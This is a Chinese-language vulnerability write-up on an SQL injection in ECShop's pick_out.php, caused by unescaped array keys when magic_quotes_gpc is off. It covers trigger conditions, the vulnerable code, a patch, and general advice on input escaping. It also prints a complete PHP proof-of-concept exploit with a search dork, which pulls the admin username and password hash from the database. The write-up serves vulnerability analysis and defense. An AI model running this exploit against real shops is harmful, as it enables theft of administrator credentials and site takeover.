catalog
1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考
1. 漏洞描述
在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出key键注入
Relevant Link:
http://bbs.ecshop.com/thread-150545-1-1.html
2. 漏洞触发条件
1. /pick_out.php漏洞未修复 2. magic_quotes_gpc = Off
0x1: POC
#!/usr/bin/php 复制代码 <?php //本程序只作技术交流,请不要用做非法用途!! print_r(‘ +---------------------------------------------------------------------------+ ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit dork: "owered by ECShop" +---------------------------------------------------------------------------+ ‘); /** * works with magic_quotes_gpc = Off */ if ($argc < 3) { print_r(‘ +---------------------------------------------------------------------------+ Usage: php ‘.$argv[0].‘ host path host: target server (ip/hostname) path: path to ecshop Example: php ‘.$argv[0].‘ localhost /ecshop/ +---------------------------------------------------------------------------+ ‘); exit; } error_reporting(7); ini_set(‘max_execution_time‘, 0); $host = $argv[1]; $path = $argv[2]; $resp = send(); preg_match(‘#IN\s\(([\S]+)[a-z0-9]{32})\)#‘, $resp, $hash); if ($hash) exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n"); else exit("Exploit Failed!\n"); function send() { global $host, $path; $cmd = ‘cat_id=999999&attr[%27%20UNION%20SELECT%20CONCAT(user_name%2c0x3a%2cpassword)%20as%20goods_id%20FROM%20ecs_admin_user%20WHERE%20action_list%3d%27all%27%20LIMIT%201%23]=ryat‘; $data = "GET ".$path."pick_out.php?".$cmd." HTTP/1.1\r\n"; $data .= "Host: $host\r\n"; $data .= "Connection: Close\r\n\r\n"; $fp = fsockopen($host, 80); fputs($fp, $data); $resp = ‘‘; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp; } ?>
3. 漏洞影响范围
4. 漏洞代码分析
/pick_out.php
.. /* 处理属性,获取满足属性的goods_id */ if (!empty($_GET[‘attr‘])) { $attr_table = ‘‘; $attr_where = ‘‘; $attr_url = ‘‘; $i = 0; $goods_result = ‘‘; foreach ($_GET[‘attr‘] AS $key => $value) { $attr_url .= ‘&attr[‘ . $key . ‘]=‘ . $value; $attr_picks[] = $key; if ($i > 0) { if (empty($goods_result)) { break; } // 利用key进行注射 $goods_result = $db->getCol("SELECT goods_id FROM " . $ecs->table("goods_attr") . " WHERE goods_id IN (" . implode(‘,‘ , $goods_result) . ") AND attr_id=‘$key‘ AND attr_value=‘$value‘"); } else { $goods_result = $db->getCol("SELECT goods_id FROM " . $ecs->table("goods_attr") . " WHERE attr_id=‘$key‘ AND attr_value=‘$value‘"); } $i++; } ..
5. 防御方法
/pick_out.php
define(‘IN_ECS‘, true); require(dirname(__FILE__) . ‘/includes/init.php‘); $condition = array(); $picks = array(); $cat_id = !empty($_GET[‘cat_id‘]) ? intval($_GET[‘cat_id‘]) : 0; /* */ if (!empty($_GET[‘attr‘])) { //对输入数组进行键值(key、value)规范化处理 foreach($_GET[‘attr‘] as $key => $value) { if (!is_numeric($key)) { unset($_GET[‘attr‘][$key]); continue; } $key = intval($key); $_GET[‘attr‘][$key] = htmlspecialchars($value); } } /* */
Relevant Link:
http://bbs.ecshop.com/thread-86922-1-1.html
6. 攻防思考
GPC自动注册是PHP提供的原生机制,很多CMS为了保证"无视用户自身设置",在全局入口代码中采用了"自动模拟GPC注册"的机制,类似于 /* foreach(Array(‘_GET‘,‘_POST‘,‘_COOKIE‘) as $_request) { foreach($$_request as $_k => $_v) ${$_k} = $_v; } */
但是,在进行模拟GPC本地变量注册的时候,一定要保持安全性的一致性,即要同时模拟执行"magic_quotes_gpc = On"机制,即需要对传入数据的进行[key:value]转义过滤,例如
function _RunMagicQuotes(&$svar) { if(!get_magic_quotes_gpc()) { if( is_array($svar) ) { foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v); } else { $svar = addslashes($svar); } } return $svar; } foreach(Array(‘_GET‘,‘_POST‘,‘_COOKIE‘) as $_request) { foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v); }
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时间: 2024-10-19 11:20:32